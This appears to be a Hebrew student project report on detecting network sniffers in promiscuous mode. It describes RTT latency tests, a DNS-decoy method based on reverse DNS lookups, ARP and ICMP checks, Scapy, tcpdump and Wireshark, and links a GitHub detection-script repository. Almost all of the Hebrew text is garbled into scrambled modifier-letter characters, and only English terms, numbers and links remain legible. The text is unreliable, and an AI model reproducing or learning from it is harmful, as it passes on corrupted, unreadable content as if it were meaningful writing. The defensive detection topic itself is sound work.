 .˭˞˩ ˫˧˞ˣ˶ ˣˮ˥ˮ˞ ˢˬ ˭˧˟ˮˣ ˭ˠ˪˟˟ ˶ˡ˯ ˸˴˵ ˢ˷˰ˮ ˣ˞ˣ˟ ...˟ˣ˦ 

ˢ ˧˩˶˰ ˫ˢ ˸ˣˬˣˡ˞ˢ ˸ˣˡˣ˵ˮˢ-RTT ˫˧˪ˣ˥˩ˢ ˫˧˰ˣ˟˶ˢˣ ˢ˦˵˷ ˢ˸˧˧ˢ ˸˷˶ˢ˷˩ ˣ˥˪˷ˮ˷ ˫˧ˠˮ˧˲ˢ ˪˷  ˫ˢ

-sRTT .˸˷˰ˣ˶ ˢ˸˧˧ˢ ˸˷˶ˢ˷˩ ˣ˥˪˷ˮ˷ ˫˧ˠˮ˧˲ˢ ˪˷ 

˸ˣˬˣˡ˞ˢ ˸ˣˡˣ˵ˮˢ ˪˰ˬ ˣ˧ˢ ˫˧˪ˣ˥˩ˢ ˫˧˰ˣ˟˧˶ˢ ˸˧˟˶ˬ ,˫˧ˬ˧˷˶˸ˢ ˸˰˟˶˞ ˪˩˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ,  ,˶ˬˣ˪˩

˸˷˶ˢ ˸˞ ˣˮ˷˰˶ˢ˷˩ ˣ˥˵˪ˮ˷ ˸ˣˡ˧ˡˬˢ - ˢ˦˵˷ ˢ˸˧˧ˢ ˸˷˶ˢ˷˩ ˣ˥˪˷ˮ˷ ˣ˪˞ˬ ˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˣ˧ˢ -  ˢˤˣ

 .˧ˮˣ˧ˠˢ 

˥˞ˢ ˫˧ˬ˧˷˶˸ˢ ˧ˮ˷˟˷ ˟˪ ˫˧˷ˮ) ˫˧˧˦˯˧˦˦˯ ˫˧ˠ˧˶˥ ˷˧ ˫˧ˮˣ˶outliers˫˧ˬˣˡ˞ ˫ˠˣ ˫˧˪ˣ˥˩ ˫ˠ (-  ˨˧˶˴˷

.˫ˢˬ ˶˦˲˧ˢ˪ ˣ˞ ˫˸ˣ˞ ˟˧˷˥ˢ˪ ˫˞ˢ ˭˧˟ˢ˪ˣ ˸ˣˢˤ˪ ˷ˬ ˪ˡ˟ˢˢ ˸ˣ˞˶˪ ˫˧˥˧˪˴ˬ ˫˸˞ ˭˧˟ ˧˸ˣ˰ˬ

?˫˧ˬ˧˷˶˸ˢ ˸ˣˠˣˤ ˧˸˷ ˫˧ˬ˧˷˶˸ˢ 

ˢ ˧˰˴ˣˬˬ ˭˧˟ ˧˸˧ˣˣ˷ˢ ˧˪˷ ˢ˟ˣ˷˸˟ ˥ˣ˦˟ ˶˸ˣ˧ ˸ˣ˧ˢ˪ ˧ˡ˩ .ˢ˪˧˪˷˟ ˣˤˢ ˢ˪˞˷ˢ ˪˰ ˧˸˧ˮ˰ ˧˶˰˴˪-RTT  ˪˷

 .˪˧ˠ˶ˣ ˳ˣ˶˲ ˟˴ˬ 

ˢ ˸˞ ˟˷˥ˮ-RTT  ˪˷ ˰˴ˣˬˬˢ30  ˸ˣˡ˧ˡˬ-  .ˣˮ˪˷ ˧˲ˣ˯ˢ ˱˶ˠ˟ ˡ˥˞ ˭ˣ˸ˮ˩ ˟˷˥˧˧ ˰˴ˣˬˬ ˣ˸ˣ˞ 

 ˥˵˧ˮ20  ˧˰˴ˣˬˬRTT ˲ ˟˴ˬ ˪˷ˣ ˳ˣ˶20- ˪ˡ˟ˢ ˷˧ˣ ˢˡ˧ˬ˟ ,˪˧ˠ˶ ˟˴ˬ ˪˷ -  .˱˶ˠ˟ ˞˦˟˸ˬ ˢˤ ˸˞ ˢ˞˶ˮ 

 

https://he.wikipedia.org/wiki/%D7%97%D7%A8%D7%99%D7%92_%D7%97%D7%A9%D7%95%D7%93_%D7%98%D7%A2%D7%95%D7%AA
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 ˪˩˟˷ ˢ˲˴ˬ ˧˸˧˧ˢ ,˧˦˶ˣ˞˧˸ˢ ˶˟˯ˢ˪ ˫˞˸ˢ˟ .˧˸ˣ˰ˬ˷ˬ ˵˧˲˯ˬ ˞˪ ˭˧˧ˡ˰ ˞ˣˢ ˸ˣˬˣ˵˰ˢ ˭˧˟ ˷˶˲ˢˢ

 .ˢ˵ˣ˶˧ˢ ˪˰ˬ ˢ˧ˢ˸ ˢ˪ˣˠ˯ˢ ˢˬˣ˵˰ˢ ,˫˧˷˶˸ˢ ˧ˮ˲ ˪˰ ˢˡˣ˵ˮˣ ˢˡˣ˵ˮ 

˸ˣ˯ˮ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞˷ ˫˧˶˟ˡ '˯ˬ ˧˸˶˩ˤˢ ˨˶ˡˢ ˨˶ˣ˞˪  ˸ˣ˯ˮ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ :˶˸ˣ˧ ˸ˣ˟ˣ˦ ˸ˣ˞˴ˣ˸˪ ˰˧ˠˢ˪

˸ˣ˲˯ˣˮ ˫˧˩˶ˡ˟ ˡ˰˧ˢ ˪˰ ˯˧ˬ˰ˢ˪-  ˸ˣ˦˵˲ ˸˥˧˪˷ ˭ˣˠ˩IP ) ˸ˣ˪˴ˣ˲ˬfragments ˵˵ˤ˪ ˸ˣ˯ˮ˪ ,˭˧˲ˣ˪˥˪ ˣ˞ (

ˣˮ˲˯˞˷ ˫˧ˮˣ˸ˮˢˬ ˟˦˧ˬˢ ˸˞ ˸ˣ˴ˬ˪ˣ-  ˫˰ ˡˡˣˬ˸ˢ˪ ˸ˣ˯ˮ˪ ,˪˷ˬ˪Outliers  ˪˰ ˫˧˲˯ˣˮ ˫˧ˡˡˬ ˟˷˥˪ ˣ˞

ˬ ˪ˡ˟ˢ ˞ˣ˴ˬ˪ ˭ˣ˧˯˧ˮ˟ ˫˧ˮˣ˸ˮˢ.˫˧˟˴ˬˢ ˭˧˟ ˵ˢ˟ˣ  ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸˶˥˞ ˭ˮˣˣ˩˪ ˸ˣ˯ˮ˪ ˫ˠ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞

 ˦˲˧˶˵˯ˢ ˪˷-   .˸ˣˡ˧ˡˬˢ ˭˧˟ ˫˧˥ˣˣ˶ˬˢ ˸˞ ˣ˞ ,˷˰˶ˢ ˸ˣ˦˵˲ ˶˲˯ˬ ˸˞ ˪˧ˡˠˢ˪ ,˪˷ˬ˪ 

 

 

˫ˣ˩˧˯ ˵˪˥ ˢˤ 

ˢ ˸˦˧˷ ˸˞ ˣˮ˶˵˯ ˢˤ ˵˪˥˟-Latency Test  ˭ˬˤ ˧˲˪ ˡ˰˧ˢ ˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˟˴ˬ ˸˞ ˰ˣ˟˵˪ ˣˮ˧˯˧ˮ ˢ˟˷

 .ˣ˪˷ ˢ˟ˣˠ˸ˢ 

˧˶˰˴˪ -   .˸˷˶ ˯˧˦˶˩ ˪˷ ˣ˟˴ˬ ˸˰˧˟˵˟ ˣ˧˪˰ ˨ˬ˸˯ˢ˪ ˭˸˧ˮ˷ ˧˸ˣ˰ˬ˷ˬ ˪ˡ˟ˢ ˣ˞˶ˢ ˞˪ ˸ˣ˞˴ˣ˸ˢ 

 ˸ˮ˧˧ˮ˰ˬ ˞˧ˢ˷ ˸ˣ˶ˬ˪ ˭˩˪ˣ (˟˶ ˭ˬˤ ˸˩˶ˣ˞ˣ) ˢ˟ˣ˶ˬ ˢ˶ˣ˟˰˸ ˸˶˴ˣ˧ ˣˤ ˢ˦˧˷ ,˟˪ ˫˸ˬ˷ ˧˞ˡˣˣ˟˷ ˧˲˩

 .˸˧˸˧ˬ˞ ˸˷˶˪ ˢˬ˧˷˧ ˸ˬ˞˟ ˞˪ ˞˧ˢ ,˧˦˶ˣ˞˧˸ˢ ˶˵˥ˬˢ ˸ˮ˧˥˟ˬ 

  

˫˸˯ ˢˡˣ˵ˮ ˸ˮ˧˧ˮ˰ˬ - ˭ˣˣ˧˩ˬ ˣˮ˥ˮ˞˷ ˫˧˯ˮˬ ˡˣˡˬ˪ ˵˧˯ˢ˪ˣ ˸ˣˮ˵˯ˬ ˫˧˶˲˯ˬˬ ˫˧ˮ˦˵ ˡˣ˞ˬ- ˢˮ˷˧ ˸ˣ˟˧˷˥ 

˸˰˶˩ˬ ˸˪˟˵˪ ˸ˣ˞˴ˣ˸ ˸ˣ˵˧ˣˡˬ ˸ˣˡ˧ˡˬ˟- ˭˩˪ˣ ,ˢˮ˷˧ ˸ˣ˟˧˷˥ ˫ˠ ˢˮ˟ˬ˪ ˪˷ ˦˲˧˶˵˯ˢ ˫˧˰ˣ˴˧˟˪ˣ ˣ˪˷. ˪˷ˬ˪ ,

ˣˮˮˣ˟˸ˢ ˸˯˧˲˟ ˡˣ˵ˢ ˞˟ˢ ˢ˶ˣˬ˞˷ ˳ˣ˶˪ ˨ˣ˸˟ s-Thread ˧˞˶˥˞˷ ˱˧˴ˢ˪ ˸˞ ˸˷˶ˢ: 

 

˫˞ˢ ˫˸˞ ˫˧ˮ˧˥˟ˬ ˸ˣ˧˸˧˧˰˟˟ ˢ˪˷? 

˪˩˟ ˢ˧˴˶˦˧˞, ˢ˦˵˲ˢ ˟˩˶ˣ˸ ˷ˡ˥ˬ .˶˟ˡˢ ˧˸˧˧˰˟ ˫ˣ˷ˬ ˸˟˩˶ˢ˷ ˢ˦˵˲ˢ ˸˥˵ˣ˪ ˭ˬˤ ˸˧˯˥˧ ˨ˣ˶˞ ˟˷ˣ˩˪ˢˬ 

ˡ˰˧ ˫˰ ˯˧˦˶˩ ˸˷˶ ˳ˣ˶˲ ˣˮ˧˞ "˳˴˲ˣˬ "˞ˣˢˣ ˧ˣˮ˲ ˟˧˷ˢ˪ ˪˰ ˸ˣ˷˵˟ ICMP Echo ˪˷ Thread ˶˥˞ ˞ˣˢˣ ˢ˷˰˧ 

˸˞ˤ ˢ˸ˣ˞˟ ˸ˣ˶˧ˢˬ ˢ˟˷ ˟˧˷˧ ˣ˧˪˰ ˟˷˥ˬ ˯˧˦˶˩˷ ˸˷˶ˢ ˣ˪˷ ˣˮ˧˞ ˳ˣ˶˲ .˭˞˩ ˫ˣ˵ˬˢ ˭˧˧˴˪ ˷ˣˬ˧˷ˢ˷ ˭ˣ˸˧˧˲˟ 

˭˲ˣ˞˟ ˧˪˪˩ ˟x-Scapy ˸˧˲˧˴˲˯, ˣˮ˧˞ ˰ˣˡ˧ ˧˪ˬ˧˦˲ˣ˞˩ ˸ˮ˧˥˟ˬ ˭ˬˤ ˶ˢ˴˧ - ˫˪ˣ˞ ˣ˪˞ ˣ˶˥˟ˮ ˪˷˟ ˭˸ˣ˦˷˲ ˭˸ˣ˥ˣˮˣ . 
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DNS Decoy 

ˡˣ˵ˢ ˸ˣ˦˧˷˪ ˡˣˠ˧ˮ˟ˢ"ˬ ˪˷ ˢ˟ˣˠ˸ˢ ˭ˬˤ˟ˣ ˸ˣˠˢˮ˸ˢ˟ ˣˡ˵ˬ˸ˢ˷ ,˸ˣˬ -  ˸ˣˠˢˮ˸ˢ˟ ˸ˡ˵ˬ˸ˬ ˣˤ ˢ˦˧˷

 .˭˥˶˥˶ˢ ˸ˮ˩ˣ˸ 

˫˧˧˟˧˯˲˩ ˫˧˶ˡˠˣˬ˷ ˫˧˟˶ ˫˧˶˲˧ˮ˯ ,ˢ˷˰ˬ˪ -  ˣˮ˪ ˸˶˷˲˞ˬ˷ ˢ˶ˣ˟˰˸ ˫˧˶˴ˣ˧ˣ ˭˧˦ˣ˪˥˪ ˫˧˧˟˧˯˲ ˫ˮ˧˞

.˫˸ˣ˞ ˸ˣˢˤ˪  ˸ˣ˟ˣ˸˩ ˫ˠ˶˸˪ ˫˧˯ˮˬ ˫˧˶˲˧ˮ˯ ˫˸ˣ˞IP  ˸ˣˬ˷˪Domain  ˸˶ˣ˷˵˸ˢ ˸˞ ˣˮ˪ ˠ˧˴ˢ˪ ˧ˡ˩

.˶˸ˣ˧ ˢ˶ˣ˶˟ ˢ˶ˣ˴˟  ˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˣˬ˧˷ ˧"˰ ˸˞ˤ ˫˧˷ˣ˰ ˫ˢDNS˶ˡ˟ .˪˪˩ ˨  ˪˰ ˰ˬ˷ˮDNS  ˪˷ ˶˷˵ˢ˟

 ˸ˣ˟ˣ˸˩˪ ˫˧ˮ˧˧ˬˣˡ ˫ˣˠ˶˸IP )Forward DNS.( ˟ ˶ˤ˰˧ˢ˪ ˭˸˧ˮ ˫˪ˣ˞-DNS ˨ˣ˲ˢˢ ˨˧˪ˢ˸˪ ˫ˠ :ˢˮˣ˩ˬ˷ ,

Reverse DNS )rDNS( -  ˸ˣ˟ˣ˸˩ ˫ˣˠ˶˸ ,˶ˬˣ˪˩IP ˫˧ˮ˧˧ˬˣˡ˪: 

 

]˶ˣ˵ˬ :care-should-you-why-and-dns-reverse-is-https://www.leadfeeder.com/blog/what[ 

ˢˤ˩˷ ˫ˣˠ˶˸ ˰˴˟˪ ˶˲˧ˮ˯˪ ˶˧ˡˠˮ ˶˷˞˩ -  ˸˟ˣ˸˩˟ ˪˵˸˧˧ ˞ˣˢ˷ ˫˰˲ ˪˩˟IP ˸˶˩ˣˬ ˞˪ -  ˥˪˷˧ ˞ˣˢ

 ˸˶˷˪ ˢ˷˵˟DNS ˢ ˸˟ˣ˸˩ ˫˰-IP ˢ˟ˣ˷˸ ˶˧ˤ˥˧ ˸˶˷ˢˣ ˢˡ˧ˬ˟ .ˢ˞˶ ˞ˣˢ˷ -  ˭˧˧ˬˣˡˢ ˸˞ ˠ˧˴˧ ˞ˣˢ

ˢ ˸˟ˣ˸˩ ˸˞ ˫ˣ˵ˬ˟ ˶ˤ˥˷-IP . 

-˟Wireshark ˢ ˰ˣ˴˧˟ ˸˞ ˶˧ˡˠˢ˪ ˭˸˧ˮˢ ˨˯ˬ ˨˶ˡ ˫ˣˠ˶˸-Capture Options: 

 

-˟tcpdump  ˪ˠˡˢ ˸ˣ˰˴ˬ˞˟ ˣ˸ˣ˞ ˪˦˟˪ ˭˸˧ˮ) ˧˦˪ˣ˲˧ˡ ˭˲ˣ˞˟ ˰˴˟˸ˬ ˨˧˪ˢ˸ˢ-n .( 

 ˱ˣ˷˥˪ ˭˥˶˥˶ˢ ˸˞ "˸ˣ˸˲˪" ˨˩˟ˣ ˸ˣ˲˧ˣˤˬ ˸ˣ˟ˣ˸˩ ˫˰ ˢ˶ˣ˟˰˸ ˱˧˧ˤ˪ˣ ˣˮˡˬ˪˷ ˢˬ ˸˞ ˪˴ˮ˪ ˢ˯ˮˮ ˣˮ˥ˮ˞

.ˣˬ˴˰ ˸˞ 

https://he.wikipedia.org/wiki/Domain_Name_System
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care
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 ˢ˞˶ˮˣ ˢˡ˧ˬ˟Reverse DNS Lookups ˡˮ ,˸ˣ˟ˣ˸˩ ˭˸ˣ˞ ˪˰.˸˷˶˟ ˭˥˶˥˶ ˣˮ˪ ˷˧˷ ˰ s˞˪ˬˢ ˡˣ˵  ˸˴˵

:˸˧ˮ˩ˣ˸˟ ˸˧˶˵˧˰ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˵˶ ˶˧˟˯˞ ˭˩˪ˣ ˨ˣ˶˞ 

 

27. ˣˬ˧˷ ˟˪ ˡˣˠ˧ˮ˟˷ ˫˧˦˲˧˶˵˯˪ ˫˧ˬˡˣ˵ˢ ,˭˞˩ ˣˮ˥ˮ˞ ˞˪ ˮ˧˧˴ˬ˫˧ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ ˟˷˥ˬˢ ˣˮ˞˷ 

˫˧ˡ˷ˣ˥ x˟ - ˫ˣ˷ˬ ˣˮ˥ˮ˞˷ ˞˪ ˫˧ˡ˰˧˧ˬ ˸˞ ˸ˣ˷˵˟ˢ ˟˷˥ˬ˪ ˧˲˧˴˲˯ ,˞˪˞ ˦ˣ˷˲ ˫˧˥˪ˣ˷ ˸ˣ˷˵˟ 

˸˷˶˟ ˫˧˵ˡˣ˟ˣ ˧ˬ ˟˧ˠˬ . 

29. ˢ˧˴˵ˮˣ˲ˢ get_fake_ip ˢ˶˧ˤ˥ˬ ˸˞ ˸˟ˣ˸˩ˢ IP ˢ˟˷ ˷ˬ˸˷ˮ. ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˠ˪'˦˶ˮ ˸˟ˣ˸˩ ˢˮˣ˷ 

˪˩˟ ˫˰˲ ˧˩ ˶˥˞˪ ˫˧ˮ˥˶˥˶ˢ˷ ˣ˪˧ˠ ˢˬ ˭˧˧ˬˣˡˢ ˪˷ ˸˟ˣ˸˩ ˸˧˲˧˴˲˯ ,ˣ˞ ˭˧˲ˣ˪˥˪ ,ˣˮ˧˟ˢ ˫ˢ˷ ˞˪ 

ˣ˪˟˵˧ ˢ˟ˣ˷˸ ˸˶˷ˬ s-DNS - ˫ˢ ˫˧˵˧˯˲ˬ ˸ˣ˯ˮ˪ .˭˩˪ ,˫˞ ˱˧˧ˤˮ ˸˶ˣ˷˵˸ ˢ˸ˣ˞˪ ˸˟ˣ˸˩ ˢ˰ˣ˟˵ -

˫˰˲˟ ˢˮˣ˷˞˶ˢ ˫˧ˮ˥˶˥˶ˢ ˸˷˶˟ ˣ˯ˮ˧ ˟˪ˤ˶˪ )˰˴˟˪ Resolution (ˢ˸ˣ˞ ,˪˟˞ ˶˥˞˪ ˭ˣ˧˯˧ˮˢ ˭ˣ˷˞˶ˢ 

˞˪ ˢ˞˶ˮ ˶˸ˣ˧ ˸ˣ˷˵˟ rDNS. 

32.  ˡ˰)35( ˸˧˧ˮ˟ ˥˧˪˷ˣ ˸ˢ˪˧˟˥ ˸˟ˣ˸˩˪ ˸˲˧ˣˤˬˢ . 

38. ˱˧ˮ˯ˮ ˸˞ ˸˷˶ˢ ˪˟˵ˮˣ ˸ˣ˦˵˲ udp )DNS ˳˶ ˪˰ˬ UDP (˸ˣˮˣˣ˩ˬ˷ ˦˶ˣ˲˪ 53 )˶ˬˣ˪˩ ˸ˣ˷˵˟ DNS.( 

39. ˢ˧˴˵ˮˣ˲ˢ get_sniffing_hosts ˸˵˶ˣ˯ ˸˞ ˸ˬ˧˷˶ ˸ˣ˦˵˲ˢ ˣ˪˟˵˸ˢ˷ ,˶ˣ˟˰ ˪˩ ˸˷˵˟ DNS ˞˧ˢ 

˸˞ˡˣˣˬ ˶˟ˣˡˬ˷ ˟-rDNS ˸˟ˣ˸˩ˢ˷ˣ ˫˧˯ˮˬ˷ ˫ˠ˶˸˪ ˞˧ˢ ˢ˸ˣ˞ ˸˟ˣ˸˩ ˸˲˧˧ˣˤˬ ˷ˣˮ˶˴˧. ˫˞ ˢ˷˵˟ˢ 

ˢˮˣ˰ ˪˩˪ ˫˧˞ˮ˸ˢ- ˟˷˥ˬˢ ˥˪˷˷ ˢ˸ˣ˞ ˳˧˶ˬ ˶˲˧ˮ˯ ˱˧˯ˣˮˣ ˸˞ ˣ˸˟ˣ˸˩ ˸ˬ˧˷˶˪ ˸ˣ˟ˣ˸˩ˢ 

˸ˣ˲˧ˮ˯ˬˢ . 

41. )ˡ˰ 46 (˸˯˲ˡˢ ˸ˣ˟ˣ˸˩ˢ ˣ˶ˤ˥˷ ˬ- get_sniffing_hosts)x˞ ˢ˯˲ˡˢ ˞˪˷ ˞˴ˬˮ ˟˷˥ˬ ˱˧ˮ˯ˬ .( 

  

https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/dns_detection.py
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 ˪˰ ˫ˠ ˦˲˧˶˵˯ˢ ˸˞ ˧˸˴˶ˢtcpdump  ˪˰ ˫ˠˣ (˧˦˪ˣ˲˧ˡ ˟˴ˬ˟)Wireshark ˞ˢ ˫˰)˪˷ ˢ˧˴˲ˣName 

Resolution  (˸˶˷˲ˣ˞ˬ: 

 

˟ ˣˡ˩˪ˮˣ ˣ˥˪˷ˮ˷ ˸ˣ˲˧ˣˤˬˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˟˪ˤ˶˪ ˣ˯˧ˮ ˫˧˶˲˧ˮ˯ˢ ˧ˮ˷-Anti Sniffer ˣˮ˧ˮ˟˷: 

 

 

:˦˪˲ˢˣ 

 

 
˫ˣ˩˧˯ ˢˤ ˵˪˥ 

˵˪˥˟ ˢˤ ˣˮ˶˵˯ ˸˞ ˸˦˧˷ s-DNS Decoy .ˣˮ˲˧˧ˤ ˢ˶ˣ˟˰˸ ˫˰ ˸˟ˣ˸˩ ˞˪˷ ˢ˸˴˵ˣˢ ˱˞˪ ˟˷˥ˬ ˣˮ˵ˡ˟ˣ 

˫˞ ˣˢ˷˧ˬ ˥˪ˣ˷ ˸ˣ˷˵˟ rDNS ˰ ˪ˢ˸ˣ˞ ˸˟ˣ˸˩ ˸˲˧ˣˤˬ. ˢ˦˧˷˪ xʕ ˭ˣ˶˸˧ ˫˧ˣ˯ˬ ˪˰ ˧ˮ˲ ˢ˧˸ˣˬˡˣ˵ - ˣˮ˥ˮ˞ 

˞˪ ˫˧˩˧˶˴ ˵ˣˡ˟˪ ˡ˶˲ˮ˟ ˪˩ ˟˷˥ˬ ˸˷˶˟ - ˞˪˞ ˭˸˧ˮ ˵ˣˡ˟˪ ˸˟˟ ˸˥˞ ˸˞ ˪˪˩ ˫˧˟˷˥ˬˢ ˫˧˲ˣ˷˥˷ 

ˢ˶ˣ˟˰˸˪ ˸˲˧ˣˤˬˢ .˫˰ ˸˞ˤ ,˞˧ˢ ˸˩ˬ˸˯ˬ ˪˰ ˸ˣˠˢˮ˸ˢ ˸ˮ˩ˣ˸ ˭˥˶˥˶ˢ ,˫˧˸˧˰˪ˣ ˸ˣ˟ˣ˶˵ ˞˪ ˥˧˪˴˸ 

˸ˣ˪ˠ˪ ˫˧˟˷˥ˬ ˫˧˲˧ˮ˯ˬ - ˦ˣ˷˲ ˫ˣ˷ˬ ˸ˮ˩ˣ˸˷ ˭˥˶˥˶ˢ ˢ˴˶˷ ˫ˢ˧˪˰ ˢ˶ˡˠˣˢ ˞˪ ˰˴˟˪ Resolution 

˸ˣ˟ˣ˸˩˪ IP . 
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˫ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˣˮ˶˵˯ ˣˮˬˠˡˢˣ ˸˞ ˸˰˟˶˞ ˸ˣ˵˧ˮ˩˦ˢ ˸ˣ˧ˤ˩˶ˬˢ ˭ˢ˟ ˫˧˷ˣ˰ ˷ˣˬ˧˷ ˧˦ˮ˞-˫˧˶˲˧ˮ˯ ˫˧˯ˮˬˢ ˰ˣ˟˵˪ 

˸˞ ˣ˟˴ˬ ˪˷ ˯˧˦˶˩ ˸˷˶. ˧˸˷ ˸ˣ˵˧ˮ˩˦ˢ ˸ˣˮˣ˷˞˶ˢ ˣˮ˧˞˶˷ ,˸ˣ˷ˣ˰ ˷ˣˬ˧˷ ˧˪ˣ˵ˣ˦ˣ˶˲˟ ARP x-ICMP 

˸ˣ˯˯˟˸ˬˣ ˪˰ ˭ˣ˶˵˧˰ˢ ˪˷ ˸˥˧˪˷ ˸ˣ˪˧˟˥ ˸ˣ˶ˣˬ˞˷ ˸ˣ˥ˡ˧ˢ˪ ˪˰ ˧ˡ˧ ˯˧˦˶˩ ˸˷˶ ˪˧ˠ˶ ˪˟˞ ˪˟˵˸ˢ˪ 

˸ˣˮ˰˧ˢ˪ˣ ˪˰ ˧ˡ˧ ˯˧˦˶˩ ˸˷˶ ˳ˣ˶˲ . 

ˣˮ˧˞˶ ˫ˮ˷˧˷ ˫˧˪ˡ˟ˢ ˭˧˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˸ˣˮˣ˷ ˭˩ˣ ˣˮ˧˞˶ ˣˮ˞˷ ˫˧˧ˣ˷˰ ˭˥˟˞˪ ˸˞ ˣ˟˴ˬ ˪˷ ˯˧˦˶˩ ˸˷˶ 

˳ˣ˶˲ ˭˲ˣ˞˟ ˧ˣˠ˷ ˪˪ˠ˟ ˶˯ˣ˥ ˢ˟ˣˠ˸ ˣˡ˧˴ˬ )˪˷ˬ˪ ˟˪˪ˠ Firewall.( 

˶˥˞˪ ˭˩ˬ ˣˮ˶˵˯ ˸˞ ˸˦˧˷ slatency ˢ˟ ˣˮ˥ˮˢ ˥˧˪˴ˮ˷ ˭˥˟˞˪ ˸˞ ˧˟˴ˬ ˯˧˦˶˩ ˸˷˶ˢ ˪˰ ˨ˬ˯ ˫˧˪ˡ˟ˢ 

˭ˬˤ˟ ˢ˟ˣˠ˸ˢ ˪˷ ˟˷˥ˬ ˡ˰˧ˢ .˞˪ ˣˮ˥˪˴ˢ ˸ˣ˷˰˪ ˸˞ˤ ˸˶ˠ˯ˬ˟ ˶ˬ˞ˬˢ. 

ˢ˵˧ˮ˩˦˟ ˢˮˣ˶˥˞ˢ ,ˣˮ˲˧˧ˤ ˢ˶ˣ˟˰˸ ˸ˣ˟ˣ˸˩ˬ ˸ˣ˧˟˧˦˵˧˲ ˣˮ˵ˡ˟ˣ ˫˞ ˸ˮ˩ˣ˸ ˭˥˶˥˶ˢ ˢ˯ˮ˸ ˥ˣ˪˷˪ 

˸ˣ˸˪˧˞˷ rDNS ˪˰ ˭˸ˣ˞ ˸ˣ˟ˣ˸˩ . 

ˢˡˣ˵ˮ ˭˧˧ˮ˰ˬ˷ ˭˧˧˴˪ ˞˧ˢ ˦˰ˬ˩˷ ˪˩˟ ˸ˣ˵˧ˮ˩˦ˢ ˣˮ˧˞˶˷ )˦˰ˬ˪ latency ,(˸ˣ˞˧ˠ˷ˢ ˸ˣˡ˧˥˧ˢ ˭s ˠˣ˯ˬ 

False Negatives ,˶ˬˣ˪˩ ,˶˯ˣ˥ ˢ˥˪˴ˢ ˧ˣˢ˧ˤ˟ ˪˷ ˟˴ˬ ˳ˣ˶˲ .˫˪ˣ˞ ˫˞ ˦˲˧˶˵˯ ˶ˬˣ˞ ˯˧˦˶˩˷ ˸˷˶ ˞ˣˢ 

˳ˣ˶˲ - ˦˰ˬ˩ ˸ˣ˞ˡˣˣ˟ ˞ˣˢ ˭˩˞ ˢˤ˩. 

˷˧ ˡˣ˰ ˢ˟˶ˢ ˢˬ ˟˧˥˶ˢ˪ ˮ˟˞˷ˣ ˧˶˰˴˪ˣ ˞˪ ˧˸˵˲˯ˢ ˸˰ˠ˪ ˫˧˞˷ˣˮ˟ ˫˧ˮ˧˧ˮ˰ˬ ˣˬ˩ ˸ˣ˵˧ˮ˩˦ ˸ˣ˲˯ˣˮ 

˧ˣˢ˧ˤ˪ ˟˴ˬ ˳ˣ˶˲ x˞ ˸ˣ˵˧ˮ˩˦ ˧˦ˮ˞-˧ˣ˪˧ˠ ˸ˣ˵ˬ˥˸ˢˣ ˪˷ ˫˧˶˲˧ˮ˯. ˭˲ˣ˞˟ ˧˷˧˞ ,˧˸˧˧ˢ ˢ˴ˣ˶ ˵ˬ˰˸ˢ˪ 

˫˧˷ˣˬ˧ˬ˟ ˫˧˥˪˴ˣˬ ˸˦˧˷˪ s-Latency ˭˧˟ˢ˪ˣ ˰ˣˡˬ ˞˪ ˣˮ˥˪˴ˢ ˰˧ˠˢ˪ ˸ˣ˞˴ˣ˸˪ ˸ˣ˧˸ˣ˰ˬ˷ˬ .ˣˬ˩ ˭˩ ,

ˢ˧ˢ˧ ˭˧˧ˮ˰ˬ ˶ˣ˟˰˪ ˪˰ ˡˣ˵ˢ ˪˷ ˪ˮ˶˵ˢ ˪˷ ˯˵ˣˮ˧˪ ˧˞˶˥˞ˢ ˪ˣ˲˧˦˪ ˟-ARP ˭ˣ˥˟˪ˣ ˸˞ ˸ˣ˵˧ˡ˟ ˸ˣˮ˧˵˸ˢ 

˸˰˴˟ˬ˷ ˬ"s ˪˰ ˸˶ˠ˯ˬˢ. 

˧ˮ˞ ˢˣˣ˵ˬ ˫˸˧ˮˢˮ˷ ˶ˬ˞ˬˢˬ  ˸ˣ˥˲˪ˣˬ˩ ˧ˮ˞˷ ˧˸˧ˮˢˮ ˭˧˩ˢ˪ ˣ˸ˣ˞. 

 

˸ˣˡˣ˸ 

ˢˡˣ˸ ˸˧˵ˮ˰ ˪˧˷ - ˭˧ˬ˞ˢ˷ ˧˟ ˫ˠ ˞˪˷˩ ˧˸ˮˬ˞ˢ ˧ˬ˴˰˟ .˭˧˞ ˫ˣ˧ ˣ˟˷ ˧ˮ˞ ˞˪ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˸ˣ˧ˣˮˬˣ˧ˬ˟ 

˨˶ˡ˟ˣ ˢ˟˷˥ˬˢ ˧˷˷ ˪˧˥ˮˢ ˧˪. ˢˡˣ˸ ˸˧˵ˮ˰ ˸˲˯ˣˮ ˪˶ˬˣ˸ ˟ˬˣ˪ˣˠ ˪˰ ˸ˣˣ˥ ˸˰ˡˢ ˸˧ˮ˩˦ˢ ˸ˣ˶˰ˢˢˣ 

˸ˣˮ˧ˣ˴ˬˢ ˣ˪˷ )ˢ˟˶ˢˣ ˶˸ˣ˧ ˟ˣ˷˥, ˪˰ ˱˸˩ ˸˩ˬˣ˸ ˭ˤˣ˞ˣ ˸˟˷˵ .(˶ˬˣ˸ ˞ˣˢ ˡ˥˞ ˫˧˷ˮ˞ˢ ˫˧˵˧˶˟ˬˢ 

